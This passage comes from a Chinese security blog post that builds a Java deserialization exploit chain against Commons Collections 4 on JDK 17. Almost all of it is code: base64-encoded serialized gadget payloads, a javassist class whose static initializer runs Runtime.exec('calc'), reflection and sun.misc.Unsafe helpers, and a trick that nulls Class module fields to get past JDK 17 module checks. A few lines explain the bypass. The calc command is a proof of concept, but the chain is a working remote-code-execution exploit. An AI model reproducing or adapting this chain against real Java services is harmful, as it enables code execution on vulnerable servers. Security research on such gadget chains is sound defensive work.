// String s = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAB3NyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAD3N1bi5taXNjLlVuc2FmZQAAAAAAAAAAAAAAeHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAF0AAl0aGVVbnNhZmV0ABBnZXREZWNsYXJlZEZpZWxkdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2xvc3VyZVRyYW5zZm9ybWVyBqPbHKGgbUYCAAFMAAhpQ2xvc3VyZXQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L0Nsb3N1cmU7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5mdW5jdG9ycy5UcmFuc2Zvcm1lckNsb3N1cmW3563DrldcVwIAAUwADGlUcmFuc2Zvcm1lcnEAfgAEeHBzcQB+ABJ1cQB+ABcAAAABc3IAEWphdmEubGFuZy5Cb29sZWFuzSBygNWc+u4CAAFaAAV2YWx1ZXhwAXQADXNldEFjY2Vzc2libGV1cQB+ABsAAAABdnIAB2Jvb2xlYW4AAAAAAAAAAAAAAHhwc3EAfgASdXEAfgAXAAAAAXB0AANnZXR1cQB+ABsAAAABdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwc3EAfgASdXEAfgAXAAAAA3ZyADdjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UckFYRmlsdGVyAAAAAAAAAAAAAAB4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAA8dAALb3JnLnhtbC5zYXh0AA9nZXRBbmRTZXRPYmplY3R1cQB+ABsAAAADcQB+ADF2cgAEbG9uZwAAAAAAAAAAAAAAeHBxAH4AMXNxAH4ADXEAfgA1c3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3NxAH4AE1sAC2lQYXJhbVR5cGVzcQB+ABV4cHVxAH4AFwAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAVTAAFX25hbWVxAH4AFEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAAAAAAB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAABUsr+ur4AAAA3ABkBAARFdmlsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAIAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwACgALCgAJAAwBAARjYWxjCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAYdXEAfgBIAAAAnsr+ur4AAAA3AAwBAAdVc2VsZXNzBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAxVc2VsZXNzLmphdmEBAAY8aW5pdD4BAAMoKVYMAAcACAoABAAJAQAEQ29kZQAhAAIABAAAAAAAAQABAAcACAABAAsAAAARAAEAAQAAAAUqtwAKsQAAAAAAAQAFAAAAAgAGcHQACHVzZWxlc3MxcHcBAHh1cQB+ABsAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHcEAAAAA3BweA==";
// SerializeUtil.deserializeFromBase64(s);
}
}

用到的工具类如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import javassist.ClassPool;
import javassist.CtClass;

public class TemplatesUtil {
public static Object getTemplates() throws Exception {
Class templatesClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
UnsafeUtil.patchModule(TemplatesUtil.class, templatesClass);
ClassPool classPool = ClassPool.getDefault();
CtClass evil = classPool.makeClass("Evil");
evil.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
Object templates = templatesClass.newInstance();
CtClass useless = classPool.makeClass("Useless");
ReflectUtil.setFieldValue(templates, "_bytecodes", new byte[][]{evil.toBytecode(), useless.toBytecode()});
ReflectUtil.setFieldValue(templates, "_name", "useless1");
ReflectUtil.setFieldValue(templates, "_transletIndex", 0);
return templates;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class SerializeUtil {

// 序列化对象为字节数组
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream arr = new ByteArrayOutputStream();
try (ObjectOutputStream output = new ObjectOutputStream(arr)) {
output.writeObject(obj);
}
return arr.toByteArray();
}

// 反序列化字节数组为对象
public static Object deserialize(byte[] arr) throws Exception {
try (
ObjectInputStream input = new ObjectInputStream(
new ByteArrayInputStream(arr)
)
) {
return input.readObject();
}
}

// 序列化对象并编码为Base64字符串
public static String serializeToBase64(Object obj) throws Exception {
byte[] serializedData = serialize(obj);
return Base64.getEncoder().encodeToString(serializedData);
}

// 从Base64字符串解码并反序列化为对象
public static Object deserializeFromBase64(String base64) throws Exception {
byte[] decodedData = Base64.getDecoder().decode(base64);
return deserialize(decodedData);
}

// 测试序列化和反序列化过程
public static void test(Object obj) throws Exception {
deserialize(serialize(obj));
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class ReflectUtil {

// 获取对象的字段值
public static Object getFieldValue(Object obj, String name) throws Exception {
return getFieldValue(obj.getClass(), obj, name);
}

// 获取指定类的字段值
public static Object getFieldValue(Class<?> clazz, Object obj, String name) throws Exception {
Field f = clazz.getDeclaredField(name);
f.setAccessible(true);
return f.get(obj);
}

// 设置对象的字段值
public static void setFieldValue(Object obj, String name, Object val) throws Exception {
UnsafeUtil.patchModule(ReflectUtil.class, obj.getClass());
setFieldValue(obj.getClass(), obj, name, val);
}

// 设置指定类的字段值
public static void setFieldValue(Class<?> clazz, Object obj, String name, Object val)
throws Exception {
Field f = clazz.getDeclaredField(name);
f.setAccessible(true);
f.set(obj, val);
}

// 调用对象的方法
public static Object invokeMethod(
Object obj, String name, Class<?>[] parameterTypes, Object[] args
) throws Exception {
return invokeMethod(obj.getClass(), obj, name, parameterTypes, args);
}

// 调用指定类的方法
public static Object invokeMethod(
Class<?> clazz, Object obj, String name, Class<?>[] parameterTypes, Object[] args
) throws Exception {
Method m = clazz.getDeclaredMethod(name, parameterTypes);
m.setAccessible(true);
return m.invoke(obj, args);
}

// 通过构造函数创建对象实例
public static Object newInstance(
Class<?> clazz, Class<?>[] parameterTypes, Object[] args
) throws Exception {
Constructor<?> constructor = clazz.getDeclaredConstructor(parameterTypes);
constructor.setAccessible(true);
return constructor.newInstance(args);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import sun.misc.Unsafe;
import java.lang.reflect.Field;

public class UnsafeUtil {

private static final Unsafe unsafe;

static {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field theUnsafeField = unsafeClass.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
unsafe = (Unsafe) theUnsafeField.get(null);
} catch (Exception e) {
throw new RuntimeException(e);
}
}

// 修改类的 module 字段,使其属于 Object.class 的模块
public static void patchModule(Class<?> clazz) throws Exception {
Module baseModule = Object.class.getModule();
setFieldValue(clazz, "module", baseModule);
}
public static void patchModule(Class clazz, Class targetClass) {
try {
Class UnsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Object targetModule = Class.class.getMethod("getModule").invoke(targetClass);
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(clazz, addr, targetModule);
} catch (Exception e) {
}
}

// 获取对象的字段值
public static Object getFieldValue(Object obj, String name) throws Exception {
return getFieldValue(obj.getClass(), obj, name);
}

// 获取指定类的字段值
public static Object getFieldValue(Class<?> clazz, Object obj, String name) throws Exception {
Field f = clazz.getDeclaredField(name);
long offset;
if (obj == null) {
offset = unsafe.staticFieldOffset(f);
} else {
offset = unsafe.objectFieldOffset(f);
}
return unsafe.getObject(obj, offset);
}

// 设置对象的字段值
public static void setFieldValue(Object obj, String name, Object val) throws Exception {
setFieldValue(obj.getClass(), obj, name, val);
}

// 设置指定类的字段值
public static void setFieldValue(Class<?> clazz, Object obj, String name, Object val)
throws Exception {
Field f = clazz.getDeclaredField(name);
long offset;
if (obj == null) {
offset = unsafe.staticFieldOffset(f);
} else {
offset = unsafe.objectFieldOffset(f);
}
unsafe.putObject(obj, offset, val);
}

// 通过 Unsafe 创建类实例(绕过构造函数)
public static Object newInstance(Class<?> clazz) throws Exception {
return unsafe.allocateInstance(clazz);
}
}

补充

前面我们在这一步时说第一个条件满足不了

因为我们没办法在反序列化的时候传一个 Module 类去 patch 我们自己的类(Evil)的 Module 让它等于 被反射的类(TrAXFilter)的 Module

但是其实我们可以让他们两个的 Module 都为 null

有了刚才的方法,我们可以调用两次 unsafe 去实现

先找 module 的偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import sun.misc.Unsafe;
import java.lang.Class;
import java.lang.reflect.Field;

public class Offset {
public static void main(String[] args) throws Exception {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
// long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("packageName"));
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
System.out.println(addr); // packageName 60, module 48
}
}

调试刚才的 poc 可以看到 currentModule 所属的 class 对象是 InstantiateTransformer:

修改后的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;

import java.lang.Class;
import java.util.PriorityQueue;
import javax.xml.transform.Templates;

public class POC1 {
public static void main(String[] args) throws Exception {
// Transformer[] transformers = new Transformer[]{
// new ConstantTransformer(
// sun.misc.Unsafe.class
// ),
// new InvokerTransformer(
// "getDeclaredField",
// new Class[]{String.class},
// new Object[]{"theUnsafe"}
// ),
// new ClosureTransformer(
// new TransformerClosure(
// new InvokerTransformer(
// "setAccessible",
// new Class[]{boolean.class},
// new Object[]{true}
// )
// )
// ),
// new InvokerTransformer(
// "get",
// new Class[]{Object.class},
// new Object[]{null}
// ),
// new ClosureTransformer(
// new TransformerClosure(
// new InvokerTransformer(
// "getAndSetObject",
// new Class[]{Object.class, long.class, Object.class},
// new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"), 48, null}
// )
// )
// ),
// new ClosureTransformer(
// new TransformerClosure(
// new InvokerTransformer(
// "getAndSetObject",
// new Class[]{Object.class, long.class, Object.class},
// new Object[]{Class.forName("org.apache.commons.collections4.functors.InstantiateTransformer"), 48, null}
// )
// )
// ),
//// new InvokerTransformer(
//// "getAndSetObject",
//// new Class[]{Object.class, long.class, Object.class},
//// new Object[]{Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"), 60, "org.xml.sax"}
//// ),
// new ConstantTransformer(
// Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")
// ),
// new InstantiateTransformer(
// new Class[]{Templates.class},
// new Object[]{TemplatesUtil.getTemplates()}
// )
// };
// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
// PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
// ReflectUtil.setFieldValue(priorityQueue, "size", 2);
// System.out.println(SerializeUtil.serializeToBase64(priorityQueue));
String s = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAACHNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAD3N1bi5taXNjLlVuc2FmZQAAAAAAAAAAAAAAeHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAF0AAl0aGVVbnNhZmV0ABBnZXREZWNsYXJlZEZpZWxkdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2xvc3VyZVRyYW5zZm9ybWVyBqPbHKGgbUYCAAFMAAhpQ2xvc3VyZXQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L0Nsb3N1cmU7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5mdW5jdG9ycy5UcmFuc2Zvcm1lckNsb3N1cmW3563DrldcVwIAAUwADGlUcmFuc2Zvcm1lcnEAfgAEeHBzcQB+ABJ1cQB+ABcAAAABc3IAEWphdmEubGFuZy5Cb29sZWFuzSBygNWc+u4CAAFaAAV2YWx1ZXhwAXQADXNldEFjY2Vzc2libGV1cQB+ABsAAAABdnIAB2Jvb2xlYW4AAAAAAAAAAAAAAHhwc3EAfgASdXEAfgAXAAAAAXB0AANnZXR1cQB+ABsAAAABdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwc3EAfgAfc3EAfgAic3EAfgASdXEAfgAXAAAAA3ZyADdjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UckFYRmlsdGVyAAAAAAAAAAAAAAB4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAwcHQAD2dldEFuZFNldE9iamVjdHVxAH4AGwAAAANxAH4AMXZyAARsb25nAAAAAAAAAAAAAAB4cHEAfgAxc3EAfgAfc3EAfgAic3EAfgASdXEAfgAXAAAAA3ZyAD9vcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkluc3RhbnRpYXRlVHJhbnNmb3JtZXI0i/R/pIbQOwIAAlsABWlBcmdzcQB+ABNbAAtpUGFyYW1UeXBlc3EAfgAVeHBxAH4AOnBxAH4AO3VxAH4AGwAAAANxAH4AMXEAfgA+cQB+ADFzcQB+AA1xAH4AN3NxAH4AQ3VxAH4AFwAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAVTAAFX25hbWVxAH4AFEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAAAAAAB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAABUsr+ur4AAAA3ABkBAARFdmlsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAIAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwACgALCgAJAAwBAARjYWxjCAAOAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEAARCgAJABIBAAY8aW5pdD4MABQABgoABAAVAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQAhAAIABAAAAAAAAgAIAAUABgABAAcAAAAWAAIAAAAAAAq4AA0SD7YAE1exAAAAAAABABQABgABAAcAAAARAAEAAQAAAAUqtwAWsQAAAAAAAQAXAAAAAgAYdXEAfgBPAAAAnsr+ur4AAAA3AAwBAAdVc2VsZXNzBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAxVc2VsZXNzLmphdmEBAAY8aW5pdD4BAAMoKVYMAAcACAoABAAJAQAEQ29kZQAhAAIABAAAAAAAAQABAAcACAABAAsAAAARAAEAAQAAAAUqtwAKsQAAAAAAAQAFAAAAAgAGcHQACHVzZWxlc3MxcHcBAHh1cQB+ABsAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHcEAAAAA3BweA==";
SerializeUtil.deserializeFromBase64(s);
}
}

  • Title: Jdk17&CC 下利用 TemplesImpl
  • Author: exp3n5ive
  • Created at : 2025-09-22 07:55:25
  • Updated at : 2025-09-24 15:23:39
  • Link: https://exp3n5ive.github.io/2025/09/22/Jdk17&CC 下利用 TemplesImpl/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments